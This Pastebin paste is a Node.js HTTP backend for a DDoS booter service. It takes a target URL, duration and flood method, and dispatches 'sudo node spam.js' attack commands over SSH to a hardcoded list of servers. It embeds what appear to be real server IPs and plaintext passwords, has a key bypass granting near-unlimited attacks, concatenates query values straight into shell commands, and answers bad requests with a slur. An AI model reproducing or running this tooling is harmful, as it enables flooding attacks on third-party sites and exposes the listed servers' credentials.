Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const net = require('net');
- const Client = require('ssh2').Client;
- const http = require('http');
- const url = require('url');
- const fs = require('fs');
- const methods = [
- "SPAMGET",
- "SPAMPOST",
- "BYPASS",
- "STOP"
- ];
- var servers = [
- {
- ip: "101.99.90.71",
- username: "admin",
- password: "wtfY@xv4o%MhS%DaQoBxo8fxJhqwndTT@H2"
- },
- {
- ip: "1.2.3.22",
- username: "root",
- password: "password"
- },
- ]
- var keys = [{
- key: "",
- concurrents: 4,
- maxtime: 1800,
- attacks: 0,
- admin: true
- }]
- process.on('uncaughtException', function(e) {
- console.warn(e);
- });
- process.on('unhandledRejection', function(e) {
- console.warn(e);
- });
- var client = new net.Socket();
- var httpServer = http.createServer().on('request', function(request, response) {
- request.query = url.parse(request.url, true).query;
- if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
- if (!request.query.url) {
- return response.end('{"error": "No URL mentioned."}');
- }
- if (!request.query.time) {
- return response.end('{"error": "No time given"}');
- }
- if (!request.query.method) {
- return response.end('{"error": "No method given"}');
- }
- if (request.query.key || request.query.dns) {
- request.query.keydb = keys.find(akey => akey.key == request.query.key);
- if (request.query.keydb || request.query.dns) {
- if (request.query.dns) {
- request.query.keydb = {
- concurrents: 1e3,
- maxtime: 1e6,
- attacks: -1e6
- };
- }
- if (request.query.method == 'STOPALL') {
- if (request.query.keydb.admin) {
- execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
- response.end("Attack has been sent on " + request.query.url);
- }
- }
- else if (request.query.method == 'SPAMGET') {
- if (request.query.keydb.admin) {
- execute("sudo node spam.js " + "get " + request.query.url + " " + request.query.time);
- response.end("Attack has been sent on " + request.query.url);
- }
- else if (request.query.method == 'SPAMPOST') {
- if (request.query.keydb.admin) {
- execute("sudo node spam.js " + request.query.url + " " + request.query.time);
- response.end("Attack has been sent on " + "post " + request.query.url);
- }
- }
- else if (request.query.method == 'STOP') {
- if (request.query.keydb.admin) {
- execute("sudo pkill " + request.query.url + " -f");
- response.end("Stopped attack on " + request.query.url);
- }
- }
- } else {
- response.end("Wrong key");
- }
- } else {
- response.end("No key was mentioned.");
- }
- } else {
- response.setHeader('content-type', 'text/html');
- return response.end('maintenance');
- }
- });
- httpServer.listen(12,function(){
- console.log('Server is running on port 12');
- });
- function execute(command, serversLimit) {
- servers.forEach(function(server) {
- var conn = new Client();
- conn.on('ready', function() {
- console.log('Client :: ready');
- conn.exec(command, function(err, stream) {
- if (err) throw err;
- stream.on('close', function(code, signal) {
- console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
- conn.end();
- }).on('data', function(data) {
- console.log('STDOUT: ' + data);
- }).stderr.on('data', function(data) {
- console.log('STDERR: ' + data);
- });
- });
- }).connect({
- host: server.ip,
- port: 22,
- username: server.username,
- password: server.password
- });
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement